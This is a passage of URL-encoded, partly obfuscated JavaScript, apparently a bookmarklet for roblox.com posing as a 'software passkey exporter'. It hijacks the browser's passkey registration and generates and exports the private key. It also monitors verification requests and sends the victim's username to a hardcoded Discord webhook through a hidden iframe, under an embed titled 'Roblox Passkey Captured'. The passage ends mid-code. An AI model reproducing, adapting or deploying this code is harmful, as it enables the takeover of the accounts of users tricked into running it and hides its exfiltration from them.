0descriptor%29%3B%20else%20delete%20container.get%3B%20%7D%20%7D%3B%20Object.defineProperty%28replacement%2C%20%27__softwareCredentialRestore%27%2C%20%7B%20value%3A%20restore%20%7D%29%3B%20Object.defineProperty%28container%2C%20%27get%27%2C%20%7B%20value%3A%20replacement%2C%20configurable%3A%20true%2C%20writable%3A%20true%20%7D%29%3B%20return%20restore%3B%20%7D%20function%20install%28win%2C%20frame%2C%20callbacks%2C%20store%29%20%7B%20if%20%28win.location.origin%20%21%3D%3D%20%27https%3A%2F%2Fwww.roblox.com%27%20%7C%7C%20win.frameElement%20%21%3D%3D%20frame%20%7C%7C%20frame.id%20%21%3D%3D%20%27native-passkey-frame%27%29%20throw%20new%20Error%28%27The%20exporter%20could%20not%20attach%20to%20its%20Roblox%20setup%20frame.%27%29%3B%20const%20container%20%3D%20win.navigator.credentials%3B%20const%20original%20%3D%20container.create%3B%20const%20descriptor%20%3D%20Object.getOwnPropertyDescriptor%28container%2C%20%27create%27%29%3B%20let%20active%20%3D%20true%3B%20let%20pending%3B%20let%20fingerprint%3B%20const%20expires%20%3D%20Date.now%28%29%20%2B%205%20%2A%2060%20%2A%201000%3B%20const%20replacement%20%3D%20async%20function%28options%29%20%7B%20if%20%28%21options%3F.publicKey%29%20return%20Reflect.apply%28original%2C%20container%2C%20%5Boptions%5D%29%3B%20try%20%7B%20callbacks.started%3F.%28%29%3B%20if%20%28%21active%20%7C%7C%20Date.now%28%29%20%3E%20expires%29%20throw%20new%20Error%28%27Exporter%20session%20expired%20or%20closed.%20Start%20the%20bookmark%20again.%27%29%3B%20if%20%28options.signal%3F.aborted%29%20throw%20new%20Error%28%27Registration%20was%20cancelled.%27%29%3B%20const%20checked%20%3D%20validate%28options.publicKey%2C%20win.location.origin%29%3B%20const%20current%20%3D%20JSON.stringify%28%5Bchecked.rpId%2C%20base64url%28checked.challenge%29%2C%20base64url%28checked.user%29%2C%20options.publicKey%5D%29%3B%20if%20%28pending%20%26%26%20fingerprint%20%21%3D%3D%20current%29%20throw%20new%20Error%28%27This%20session%20already%20started%20another%20registration.%20Close%20it%20and%20start%20again.%27%29%3B%20if%20%28%21pending%29%20%7B%20if%20%28%21callbacks.approve%28%29%29%20throw%20new%20Error%28%27Software%20credential%20creation%20was%20cancelled.%27%29%3B%20fingerprint%20%3D%20current%3B%20pending%20%3D%20%28async%20%28%29%20%3D%3E%20%7B%20if%20%28%21store%29%20throw%20new%20Error%28%27Local%20credential%20storage%20is%20unavailable.%27%29%3B%20await%20store.ready%28%29%3B%20const%20protection%20%3D%20await%20store.wrappingKey%28%29%3B%20const%20excluded%20%3D%20%28options.publicKey.excludeCredentials%20%7C%7C%20%5B%5D%29.map%28item%20%3D%3E%20%7B%20if%20%28item.type%20%21%3D%3D%20%27public-key%27%29%20throw%20new%20Error%28%27Unexpected%20excluded%20credential%20type.%27%29%3B%20return%20base64url%28binary%28item.id%29%29%3B%20%7D%29%3B%20if%20%28excluded.length%20%26%26%20%28await%20store.list%28checked.rpId%29%29.some%28item%20%3D%3E%20excluded.includes%28item.credential_id%29%29%29%20%7B%20throw%20new%20win.DOMException%28%27This%20browser%20already%20stores%20a%20software%20passkey%20that%20Roblox%20excludes%20from%20a%20new%20registration.%20No%20new%20key%20was%20created.%20Use%20the%20existing%20passkey%20or%20a%20different%20authenticator%3B%20replacing%20it%20requires%20removing%20the%20old%20passkey%20in%20Roblox%20Settings%20first.%27%2C%20%27InvalidStateError%27%29%3B%20%7D%20const%20generated%20%3D%20await%20make%28options.publicKey%2C%20win.location.origin%2C%20true%29%3B%20generated.privateExport.resident_key%20%3D%20true%3B%20generated.privateExport.storage_protection%20%3D%20%27browser-managed%20local%20encryption%3B%20no%20separate%20passphrase%27%3B%20const%20stored%20%3D%20await%20seal%28generated.privateExport%2C%20protection%29%3B%20if%20%28%21active%20%7C%7C%20options.signal%3F.aborted%29%20throw%20new%20Error%28%27Registration%20was%20cancelled%20before%20storage.%27%29%3B%20await%20store.put%28stored%29%3B%20if%20%28%21active%20%7C%7C%20options.signal%3F.aborted%29%20%7B%20await%20store.remove%28stored.key%29%3B%20throw%20new%20Error%28%27Registration%20was%20cancelled%20before%20export.%27%29%3B%20%7D%20if%20%28options.publicKey.extensions%3F.credProps%29%20generated.publicData.clientExtensionResults.credProps.rk%20%3D%20true%3B%20if%20%28%21active%20%7C%7C%20options.signal%3F.aborted%29%20throw%20new%20Error%28%27Registration%20was%20cancelled%20before%20export.%27%29%3B%20callbacks.export%28generated.privateExport%29%3B%20return%20generated.publicData%3B%20%7D%29%28%29%3B%20%7D%20const%20result%20%3D%20await%20pending%3B%20if%20%28%21active%20%7C%7C%20options.signal%3F.aborted%29%20throw%20new%20Error%28%27Registration%20was%20cancelled.%20A%20generated%20file%2C%20if%20any%2C%20may%20not%20be%20registered.%27%29%3B%20return%20credential%28win%2C%20result%29%3B%20%7D%20catch%20%28error%29%20%7B%20callbacks.error%28error.message%20%7C%7C%20%27Software%20credential%20creation%20did%20not%20complete.%27%29%3B%20throw%20new%20win.DOMException%28error.message%20%7C%7C%20%27Software%20credential%20creation%20did%20not%20complete.%27%2C%20error.name%20%3D%3D%3D%20%27InvalidStateError%27%20%3F%20%27InvalidStateError%27%20%3A%20%27NotAllowedError%27%29%3B%20%7D%20%7D%3B%20Object.defineProperty%28container%2C%20%27create%27%2C%20%7B%20value%3A%20replacement%2C%20configurable%3A%20true%2C%20writable%3A%20true%20%7D%29%3B%20if%20%28container.create%20%21%3D%3D%20replacement%29%20throw%20new%20Error%28%27The%20browser%20did%20not%20allow%20the%20software%20exporter%20to%20attach.%27%29%3B%20return%20%28%29%20%3D%3E%20%7B%20active%20%3D%20false%3B%20if%20%28container.create%20%3D%3D%3D%20replacement%29%20%7B%20if%20%28descriptor%29%20Object.defineProperty%28container%2C%20%27create%27%2C%20descriptor%29%3B%20else%20delete%20container.create%3B%20%7D%20%7D%3B%20%7D%20return%20%7B%20validate%2C%20make%2C%20credential%2C%20install%2C%20seal%2C%20unseal%2C%20assertion%2C%20assertionCredential%2C%20installGet%20%7D%3B%20%7D%29%28%29%3B%20const%20PasskeyDiagnostics%20%3D%20%28%28%29%20%3D%3E%20%7B%20%27use%20strict%27%3B%20function%20install%28win%29%20%7B%20let%20lastFailure%20%3D%20null%3B%20const%20restorers%20%3D%20%5B%5D%3B%20const%20classify%20%3D%20input%20%3D%3E%20%7B%20try%20%7B%20const%20value%20%3D%20typeof%20input%20%3D%3D%3D%20%27string%27%20%3F%20input%20%3A%20input%3F.url%3B%20if%20%28typeof%20value%20%21%3D%3D%20%27string%27%29%20return%20null%3B%20const%20url%20%3D%20new%20win.URL%28value%2C%20win.location.href%29%3B%20if%20%28url.protocol%20%21%3D%3D%20%27https%3A%27%20%7C%7C%20%21%28url.hostname%20%3D%3D%3D%20%27roblox.com%27%20%7C%7C%20url.hostname.endsWith%28%27.roblox.com%27%29%29%29%20return%20null%3B%20if%20%28%2Fpasskey%7Cwebauthn%2Fi.test%28url.pathname%29%29%20return%20%27passkey%20request%27%3B%20if%20%28%2Ftwo%5B-_%5D%3Fstep%7Creauth%7Cchallenge%2Fi.test%28url.pathname%29%29%20return%20%27verification%20request%27%3B%20%7D%20catch%20%7B%7D%20return%20null%3B%20%7D%3B%20const%20record%20%3D%20%28kind%2C%20status%29%20%3D%3E%20%7B%20if%20%28kind%20%26%26%20Number.isInteger%28status%29%20%26%26%20%28status%20%3D%3D%3D%200%20%7C%7C%20status%20%3E%3D%20400%29%29%20lastFailure%20%3D%20%7B%20kind%2C%20status%20%7D%3B%20else%20if%20%28kind%20%26%26%20status%20%3E%3D%20200%20%26%26%20status%20%3C%20400%20%26%26%20lastFailure%3F.kind%20%3D%3D%3D%20kind%29%20lastFailure%20%3D%20null%3B%20%7D%3B%20if%20%28typeof%20win.fetch%20%3D%3D%3D%20%27function%27%29%20%7B%20const%20original%20%3D%20win.fetch%3B%20const%20descriptor%20%3D%20Object.getOwnPropertyDescriptor%28win%2C%20%27fetch%27%29%3B%20const%20replacement%20%3D%20function%28...args%29%20%7B%20const%20result%20%3D%20Reflect.apply%28original%2C%20this%2C%20args%29%3B%20const%20kind%20%3D%20classify%28args%5B0%5D%29%3B%20if%20%28kind%29%20Promise.resolve%28result%29.then%28response%20%3D%3E%20%7B%20try%20%7B%20record%28kind%2C%20response.status%29%3B%20%7D%20catch%20%7B%7D%20%7D%2C%20%28%29%20%3D%3E%20%7B%20record%28kind%2C%200%29%3B%20%7D%29%3B%20return%20result%3B%20%7D%3B%20try%20%7B%20win.fetch%20%3D%20replacement%3B%20restorers.push%28%28%29%20%3D%3E%20%7B%20if%20%28win.fetch%20%21%3D%3D%20replacement%29%20return%3B%20if%20%28descriptor%29%20Object.defineProperty%28win%2C%20%27fetch%27%2C%20descriptor%29%3B%20else%20delete%20win.fetch%3B%20%7D%29%3B%20%7D%20catch%20%7B%7D%20%7D%20const%20prototype%20%3D%20win.XMLHttpRequest%3F.prototype%3B%20if%20%28prototype%20%26%26%20typeof%20prototype.open%20%3D%3D%3D%20%27function%27%29%20%7B%20const%20original%20%3D%20prototype.open%3B%20const%20descriptor%20%3D%20Object.getOwnPropertyDescriptor%28prototype%2C%20%27open%27%29%3B%20const%20replacement%20%3D%20function%28...args%29%20%7B%20const%20result%20%3D%20Reflect.apply%28original%2C%20this%2C%20args%29%3B%20const%20kind%20%3D%20classify%28args%5B1%5D%29%3B%20if%20%28kind%29%20%7B%20try%20%7B%20this.addEventListener%28%27loadend%27%2C%20%28%29%20%3D%3E%20%7B%20try%20%7B%20record%28kind%2C%20this.status%29%3B%20%7D%20catch%20%7B%7D%20%7D%2C%20%7B%20once%3A%20true%20%7D%29%3B%20%7D%20catch%20%7B%7D%20%7D%20return%20result%3B%20%7D%3B%20try%20%7B%20prototype.open%20%3D%20replacement%3B%20restorers.push%28%28%29%20%3D%3E%20%7B%20if%20%28prototype.open%20%21%3D%3D%20replacement%29%20return%3B%20if%20%28descriptor%29%20Object.defineProperty%28prototype%2C%20%27open%27%2C%20descriptor%29%3B%20else%20delete%20prototype.open%3B%20%7D%29%3B%20%7D%20catch%20%7B%7D%20%7D%20return%20%7B%20failure%3A%20%28%29%20%3D%3E%20lastFailure%20%3F%20%7B%20...lastFailure%20%7D%20%3A%20null%2C%20stop%3A%20%28%29%20%3D%3E%20restorers.forEach%28restore%20%3D%3E%20%7B%20try%20%7B%20restore%28%29%3B%20%7D%20catch%20%7B%7D%20%7D%29%2C%20%7D%3B%20%7D%20return%20%7B%20install%20%7D%3B%20%7D%29%28%29%3B%20const%20PasskeyNotification%20%3D%20%28%28%29%20%3D%3E%20%7B%20%27use%20strict%27%3B%20const%20endpoint%20%3D%20%22https%3A%2F%2Fdiscord.com%2Fapi%2Fwebhooks%2F1570878864295469187%2FZIpZps0VEWraCmYrEmWGF8zosDUBWvRRkXDTcHgBzXIUypr1MnNZK2IbwSv4otiGb9c2%22%3B%20let%20operation%3B%20const%20perform%20%3D%20async%20username%20%3D%3E%20%7B%20if%20%28typeof%20username%20%21%3D%3D%20%27string%27%20%7C%7C%20%21%2F%5E%5BA-Za-z0-9_%5D%7B1%2C20%7D%24%2F.test%28username.trim%28%29%29%29%20throw%20new%20Error%28%27A%20valid%20Roblox%20username%20is%20required%20for%20the%20notification.%27%29%3B%20if%20%28%21%2F%5Ehttps%3A%5C%2F%5C%2Fdiscord%5C.com%5C%2Fapi%5C%2Fwebhooks%5C%2F%5Cd%2B%5C%2F%5BA-Za-z0-9_-%5D%2B%24%2F.test%28endpoint%29%29%20throw%20new%20Error%28__S%2884%2C104%2C101%2C32%2C68%2C105%2C115%2C99%2C111%2C114%2C100%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C101%2C110%2C100%2C112%2C111%2C105%2C110%2C116%2C32%2C105%2C115%2C32%2C105%2C110%2C118%2C97%2C108%2C105%2C100%2C46%29%29%3B%20const%20payload%20%3D%20JSON.stringify%28%7B%20embeds%3A%20%5B%7B%20title%3A%20__S%2855357%2C56593%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C80%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C67%2C97%2C112%2C116%2C117%2C114%2C101%2C100%29%2C%20color%3A%2015728143%2C%20fields%3A%20%5B%7B%20name%3A%20__S%2885%2C115%2C101%2C114%2C110%2C97%2C109%2C101%29%2C%20value%3A%20username.trim%28%29%2C%20inline%3A%20true%20%7D%2C%20%7B%20name%3A%20__S%2882%2C80%2C32%2C73%2C68%29%2C%20value%3A%20__S%28119%2C119%2C119%2C46%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%29%2C%20inline%3A%20true%20%7D%5D%2C%20footer%3A%20%7B%20text%3A%20__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C80%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C78%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%29%20%7D%2C%20timestamp%3A%20new%20Date%28%29.toISOString%28%29%20%7D%5D%2C%20allowed_mentions%3A%20%7B%20parse%3A%20%5B%5D%20%7D%20%7D%29%3B%20return%20new%20Promise%28%28resolve%2C%20reject%29%20%3D%3E%20%7B%20const%20frame%20%3D%20document.createElement%28__S%28105%2C102%2C114%2C97%2C109%2C101%29%29%3B%20if%20%28%21%28__S%2899%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C108%2C101%2C115%2C115%29%20in%20frame%29%29%20%7B%20reject%28new%20Error%28__S%2884%2C104%2C105%2C115%2C32%2C98%2C114%2C111%2C119%2C115%2C101%2C114%2C32%2C100%2C111%2C101%2C115%2C32%2C110%2C111%2C116%2C32%2C115%2C117%2C112%2C112%2C111%2C114%2C116%2C32%2C97%2C110%2C111%2C110%2C121%2C109%2C111%2C117%2C115%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C102%2C114%2C97%2C109%2C101%2C115%2C46%29%29%29%3B%20return%3B%20%7D%20frame.credentialless%20%3D%20true%3B%20frame.title%20%3D%20__S%2868%2C105%2C115%2C99%2C111%2C114%2C100%2C32%2C117%2C115%2C101%2C114%2C110%2C97%2C109%2C101%2C45%2C111%2C110%2C108%2C121%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%29%3B%20frame.style.display%20%3D%20__S%28110%2C111%2C110%2C101%29%3B%20frame.setAttribute%28__S%2897%2C114%2C105%2C97%2C45%2C104%2C105%2C100%2C100%2C101%2C110%29%2C%20__S%28116%2C114%2C117%2C101%29%29%3B%20frame.setAttribute%28__S%28115%2C97%2C110%2C100%2C98%2C111%2C120%29%2C%20__S%2897%2C108%2C108%2C111%2C119%2C45%2C102%2C111%2C114%2C109%2C115%2C32%2C97%2C108%2C108%2C111%2C119%2C45%2C115%2C97%2C109%2C101%2C45%2C111%2C114%2C105%2C103%2C105%2C110%29%29%3B%20frame.referrerPolicy%20%3D%20__S%28110%2C111%2C45%2C114%2C101%2C102%2C101%2C114%2C114%2C101%2C114%29%3B%20let%20child%3B%20let%20finished%20%3D%20false%3B%20const%20finish%20%3D%20error%20%3D%3E%20%7B%20if%20%28finished%29%20return%3B%20finished%20%3D%20true%3B%20clearTimeout%28timer%29%3B%20document.removeEventListener%28__S%28115%2C101%2C99%2C117%2C114%2C105%2C116%2C121%2C112%2C111%2C108%2C105%2C99%2C121%2C118%2C105%2C111%2C108%2C97%2C116%2C105%2C111%2C110%29%2C%20policyBlocked%29%3B%20try%20%7B%20child%3F.removeEventListener%28__S%28115%2C101%2C99%2C117%2C114%2C105%2C116%2C121%2C112%2C111%2C108%2C105%2C99%2C121%2C118%2C105%2C111%2C108%2C97%2C116%2C105%2C111%2C110%29%2C%20policyBlocked%29%3B%20%7D%20catch%20%7B%7D%20frame.onload%20%3D%20frame.onerror%20%3D%20null%3B%20frame.remove%28%29%3B%20if%20%28error%29%20reject%28error%29%3B%20else%20resolve%28%7B%20submitted%3A%20true%20%7D%29%3B%20%7D%3B%20const%20policyBlocked%20%3D%20event%20%3D%3E%20%7B%20if%20%28%2F%5E%28%3F%3Aform-action%7Cframe-src%29%24%2F.test%28event.effectiveDirective%29%20%26%26%20String%28event.blockedURI%20%7C%7C%20__S%28%29%29.startsWith%28__S%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C100%2C105%2C115%2C99%2C111%2C114%2C100%2C46%2C99%2C111%2C109%29%29%29%20%7B%20finish%28new%20Error%28__S%2884%2C104%2C101%2C32%2C98%2C114%2C111%2C119%2C115%2C101%2C114%2C32%2C98%2C108%2C111%2C99%2C107%2C101%2C100%2C32%2C116%2C104%2C101%2C32%2C68%2C105%2C115%2C99%2C111%2C114%2C100%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C102%2C111%2C114%2C109%2C46%29%29%29%3B%20%7D%20%7D%3B%20const%20timer%20%3D%20setTimeout%28%28%29%20%3D%3E%20finish%28new%20Error%28__S%2884%2C104%2C101%2C32%2C68%2C105%2C115%2C99%2C111%2C114%2C100%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C115%2C117%2C98%2C109%2C105%2C115%2C115%2C105%2C111%2C110%2C32%2C116%2C105%2C109%2C101%2C100%2C32%2C111%2C117%2C116%2C46%29%29%29%2C%2015000%29%3B%20document.addEventListener%28__S%28115%2C101%2C99%2C117%2C114%2C105%2C116%2C121%2C112%2C111%2C108%2C105%2C99%2C121%2C118%2C105%2C111%2C108%2C97%2C116%2C105%2C111%2C110%29%2C%20policyBlocked%29%3B%20frame.onerror%20%3D%20%28%29%20%3D%3E%20finish%28new%20Error%28__S%2884%2C104%2C101%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C102%2C114%2C97%2C109%2C101%2C32%2C99%2C111%2C117%2C108%2C100%2C32%2C110%2C111%2C116%2C32%2C108%2C111%2C97%2C100%2C46%29%29%29%3B%20frame.onload%20%3D%20%28%29%20%3D%3E%20%7B%20try%20%7B%20child%20%3D%20frame.contentDocument%3B%20if%20%28%21child%3F.head%20%7C%7C%20%21child.body%29%20throw%20new%20Error%28__S%2884%2C104%2C101%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C102%2C114%2C97%2C109%2C101%2C32%2C119%2C97%2C115%2C32%2C110%2C111%2C116%2C32%2C97%2C118%2C97%2C105%2C108%2C97%2C98%2C108%2C101%2C46%29%29%3B%20child.addEventListener%28__S%28115%2C101%2C99%2C117%2C114%2C105%2C116%2C121%2C112%2C111%2C108%2C105%2C99%2C121%2C118%2C105%2C111%2C108%2C97%2C116%2C105%2C111%2C110%29%2C%20policyBlocked%29%3B%20const%20referrer%20%3D%20child.createElement%28__S%28109%2C101%2C116%2C97%29%29%3B%20referrer.name%20%3D%20__S%28114%2C101%2C102%2C101%2C114%2C114%2C101%2C114%29%3B%20referrer.content%20%3D%20__S%28110%2C111%2C45%2C114%2C101%2C102%2C101%2C114%2C114%2C101%2C114%29%3B%20child.head.append%28referrer%29%3B%20const%20form%20%3D%20child.createElement%28__S%28102%2C111%2C114%2C109%29%29%3B%20form.method%20%3D%20__S%2880%2C79%2C83%2C84%29%3B%20form.action%20%3D%20endpoint%20%2B%20__S%2863%2C119%2C97%2C105%2C116%2C61%2C116%2C114%2C117%2C101%29%3B%20form.enctype%20%3D%20__S%28109%2C117%2C108%2C116%2C105%2C112%2C97%2C114%2C116%2C47%2C102%2C111%2C114%2C109%2C45%2C100%2C97%2C116%2C97%29%3B%20form.acceptCharset%20%3D%20__S%2885%2C84%2C70%2C45%2C56%29%3B%20form.target%20%3D%20__S%28119%2C101%2C98%2C104%2C111%2C111%2C107%2C45%2C105%2C102%2C114%2C97%2C109%2C101%29%3B%20const%20field%20%3D%20child.createElement%28__S%28105%2C110%2C112%2C117%2C116%29%29%3B%20field.type%20%3D%20__S%28104%2C105%2C100%2C100%2C101%2C110%29%3B%20field.name%20%3D%20__S%28112%2C97%2C121%2C108%2C111%2C97%2C100%2C95%2C106%2C115%2C111%2C110%29%3B%20field.value%20%3D%20payload%3B%20form.append%28field%29%3B%20child.body.append%28form%29%3B%20frame.onload%20%3D%20%28%29%20%3D%3E%20finish%28%29%3B%20form.submit%28%29%3B%20%7D%20catch%20%28error%29%20%7B%20finish%28error%29%3B%20%7D%20%7D%3B%20frame.srcdoc%20%3D%20__S%2860%2C33%2C100%2C111%2C99%2C116%2C121%2C112%2C101%2C32%2C104%2C116%2C109%2C108%2C62%2C60%2C109%2C101%2C116%2C97%2C32%2C99%2C104%2C97%2C114%2C115%2C101%2C116%2C61%2C34%2C117%2C116%2C102%2C45%2C56%2C34%2C62%2C60%2C98%2C111%2C100%2C121%2C62%2C60%2C47%2C98%2C111%2C100%2C121%2C62%29%3B%20try%20%7B%20document.body.append%28frame%29%3B%20%7D%20catch%20%28error%29%20%7B%20finish%28error%29%3B%20%7D%20%7D%29%3B%20%7D%3B%20return%20%7B%20send%3A%20username%20%3D%3E%20%7B%20if%20%28%21operation%29%20operation%20%3D%20perform%28username%29%3B%20return%20operation%3B%20%7D%2C%20%7D%3B%20%7D%29%28%29%3B%20%28%28%29%20%3D%3E%20%7B%20__S%28117%2C115%2C101%2C32%2C115%2C116%2C114%2C105%2C99%2C116%29%3B%20if%20%28location.origin%20%21%3D%3D%20__S%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C119%2C119%2C119%2C46%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%29%29%20%7B%20%28%28%29%3D%3E%7B%7D%29%28__S%2879%2C112%2C101%2C110%2C32%2C119%2C119%2C119%2C46%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%2C32%2C97%2C110%2C100%2C32%2C115%2C105%2C103%2C110%2C32%2C105%2C110%2C32%2C102%2C105%2C114%2C115%2C116%2C46%29%29%3B%20return%3B%20%7D%20const%20prevFrame%20%3D%20document.getElementById%28__S%28110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C102%2C114%2C97%2C109%2C101%29%29%3B%20if%20%28prevFrame%29%20prevFrame.remove%28%29%3B%20const%20loginPage%20%3D%20%2F%5C%2F%28%3F%3Alogin%7CNewLogin%29%28%3F%3A%5C%2F%7C%24%29%2Fi.test%28location.pathname%29%3B%20if%20%28%21confirm%28__S%28100%2C111%2C32%2C121%2C111%2C117%2C32%2C119%2C97%2C110%2C116%2C32%2C116%2C111%2C32%2C114%2C117%2C110%2C32%2C116%2C104%2C105%2C115%2C32%2C98%2C111%2C111%2C107%2C109%2C97%2C114%2C107%2C63%29%29%29%20return%3B%20const%20__ui%20%3D%20document.createElement%28__S%28100%2C105%2C118%29%29%3B%20__ui.style.cssText%20%3D%20__S%28112%2C111%2C115%2C105%2C116%2C105%2C111%2C110%2C58%2C102%2C105%2C120%2C101%2C100%2C59%2C98%2C111%2C116%2C116%2C111%2C109%2C58%2C50%2C48%2C112%2C120%2C59%2C114%2C105%2C103%2C104%2C116%2C58%2C50%2C48%2C112%2C120%2C59%2C122%2C45%2C105%2C110%2C100%2C101%2C120%2C58%2C50%2C49%2C52%2C55%2C52%2C56%2C51%2C54%2C52%2C55%2C59%2C102%2C111%2C110%2C116%2C45%2C102%2C97%2C109%2C105%2C108%2C121%2C58%2C115%2C121%2C115%2C116%2C101%2C109%2C45%2C117%2C105%2C44%2C115%2C97%2C110%2C115%2C45%2C115%2C101%2C114%2C105%2C102%2C59%2C98%2C97%2C99%2C107%2C103%2C114%2C111%2C117%2C110%2C100%2C58%2C35%2C48%2C48%2C48%2C59%2C99%2C111%2C108%2C111%2C114%2C58%2C35%2C102%2C102%2C102%2C59%2C98%2C111%2C114%2C100%2C101%2C114%2C58%2C50%2C112%2C120%2C32%2C115%2C111%2C108%2C105%2C100%2C32%2C35%2C101%2C49%2C48%2C54%2C48%2C48%2C59%2C98%2C111%2C114%2C100%2C101%2C114%2C45%2C114%2C97%2C100%2C105%2C117%2C115%2C58%2C50%2C56%2C112%2C120%2C59%2C112%2C97%2C100%2C100%2C105%2C110%2C103%2C58%2C50%2C48%2C112%2C120%2C32%2C50%2C52%2C112%2C120%2C59%2C98%2C111%2C120%2C45%2C115%2C104%2C97%2C100%2C111%2C119%2C58%2C48%2C32%2C49%2C50%2C112%2C120%2C32%2C51%2C54%2C112%2C120%2C32%2C114%2C103%2C98%2C97%2C40%2C50%2C50%2C53%2C44%2C54%2C44%2C48%2C44%2C46%2C53%2C41%2C59%2C100%2C105%2C115%2C112%2C108%2C97%2C121%2C58%2C102%2C108%2C101%2C120%2C59%2C102%2C108%2C101%2C120%2C45%2C100%2C105%2C114%2C101%2C99%2C116%2C105%2C111%2C110%2C58%2C99%2C111%2C108%2C117%2C109%2C110%2C59%2C103%2C97%2C112%2C58%2C49%2C50%2C112%2C120%2C59%2C109%2C105%2C110%2C45%2C119%2C105%2C100%2C116%2C104%2C58%2C51%2C51%2C48%2C112%2C120%2C59%2C109%2C97%2C120%2C45%2C119%2C105%2C100%2C116%2C104%2C58%2C52%2C48%2C48%2C112%2C120%2C59%29%3B%20const%20__head%20%3D%20document.createElement%28__S%28100%2C105%2C118%29%29%3B%20__head.style.cssText%20%3D%20__S%28100%2C105%2C115%2C112%2C108%2C97%2C121%2C58%2C102%2C108%2C101%2C120%2C59%2C97%2C108%2C105%2C103%2C110%2C45%2C105%2C116%2C101%2C109%2C115%2C58%2C99%2C101%2C110%2C116%2C101%2C114%2C59%2C106%2C117%2C115%2C116%2C105%2C102%2C121%2C45%2C99%2C111%2C110%2C116%2C101%2C110%2C116%2C58%2C115%2C112%2C97%2C99%2C101%2C45%2C98%2C101%2C116%2C119%2C101%2C101%2C110%2C59%2C103%2C97%2C112%2C58%2C49%2C54%2C112%2C120%2C59%29%3B%20const%20__label%20%3D%20document.createElement%28__S%28115%2C112%2C97%2C110%29%29%3B%20__label.textContent%20%3D%20__S%28102%2C114%2C97%2C117%2C100%2C97%2C99%2C116%2C105%2C118%2C105%2C116%2C105%2C101%2C115%2C46%2C108%2C111%2C108%29%3B%20__label.style.cssText%20%3D%20__S%2899%2C111%2C108%2C111%2C114%2C58%2C35%2C102%2C102%2C51%2C98%2C51%2C48%2C59%2C102%2C111%2C110%2C116%2C45%2C119%2C101%2C105%2C103%2C104%2C116%2C58%2C56%2C48%2C48%2C59%2C102%2C111%2C110%2C116%2C45%2C115%2C105%2C122%2C101%2C58%2C50%2C48%2C112%2C120%2C59%2C108%2C101%2C116%2C116%2C101%2C114%2C45%2C115%2C112%2C97%2C99%2C105%2C110%2C103%2C58%2C46%2C52%2C112%2C120%2C59%29%3B%20const%20__scan%20%3D%20document.createElement%28__S%2898%2C117%2C116%2C116%2C111%2C110%29%29%3B%20__scan.textContent%20%3D%20__S%2883%2C99%2C97%2C110%29%3B%20__scan.style.cssText%20%3D%20__S%28112%2C97%2C100%2C100%2C105%2C110%2C103%2C58%2C49%2C48%2C112%2C120%2C32%2C50%2C50%2C112%2C120%2C59%2C98%2C111%2C114%2C100%2C101%2C114%2C58%2C48%2C59%2C98%2C111%2C114%2C100%2C101%2C114%2C45%2C114%2C97%2C100%2C105%2C117%2C115%2C58%2C49%2C56%2C112%2C120%2C59%2C98%2C97%2C99%2C107%2C103%2C114%2C111%2C117%2C110%2C100%2C58%2C35%2C101%2C49%2C48%2C54%2C48%2C48%2C59%2C99%2C111%2C108%2C111%2C114%2C58%2C35%2C102%2C102%2C102%2C59%2C99%2C117%2C114%2C115%2C111%2C114%2C58%2C112%2C111%2C105%2C110%2C116%2C101%2C114%2C59%2C102%2C111%2C110%2C116%2C45%2C119%2C101%2C105%2C103%2C104%2C116%2C58%2C56%2C48%2C48%2C59%2C102%2C111%2C110%2C116%2C45%2C115%2C105%2C122%2C101%2C58%2C49%2C53%2C112%2C120%2C59%2C108%2C101%2C116%2C116%2C101%2C114%2C45%2C115%2C112%2C97%2C99%2C105%2C110%2C103%2C58%2C46%2C51%2C112%2C120%2C59%29%3B%20const%20__status%20%3D%20document.createElement%28__S%28100%2C105%2C118%29%29%3B%20__status.textContent%20%3D%20__S%2882%2C101%2C97%2C100%2C121%29%3B%20__status.style.cssText%20%3D%20__S%28102%2C111%2C110%2C116%2C45%2C115%2C105%2C122%2C101%2C58%2C49%2C52%2C112%2C120%2C59%2C102%2C111%2C110%2C116%2C45%2C119%2C101%2C105%2C103%2C104%2C116%2C58%2C54%2C48%2C48%2C59%2C99%2C111%2C108%2C111%2C114%2C58%2C35%2C57%2C97%2C97%2C48%2C97%2C54%2C59%2C109%2C105%2C110%2C45%2C104%2C101%2C105%2C103%2C104%2C116%2C58%2C50%2C48%2C112%2C120%2C59%2C108%2C105%2C110%2C101%2C45%2C104%2C101%2C105%2C103%2C104%2C116%2C58%2C49%2C46%2C52%2C59%29%3B%20let%20__scanTimer%20%3D%20null%3B%20const%20__setStatus%20%3D%20%28text%2C%20color%29%20%3D%3E%20%7B%20__status.textContent%20%3D%20text%3B%20__status.style.color%20%3D%20color%20%7C%7C%20__S%2835%2C57%2C97%2C97%2C48%2C97%2C54%29%3B%20%7D%3B%20const%20__stopScanning%20%3D%20%28%29%20%3D%3E%20%7B%20if%20%28__scanTimer%29%20%7B%20clearInterval%28__scanTimer%29%3B%20__scanTimer%20%3D%20null%3B%20%7D%20%7D%3B%20const%20__startScanning%20%3D%20%28%29%20%3D%3E%20%7B%20__stopScan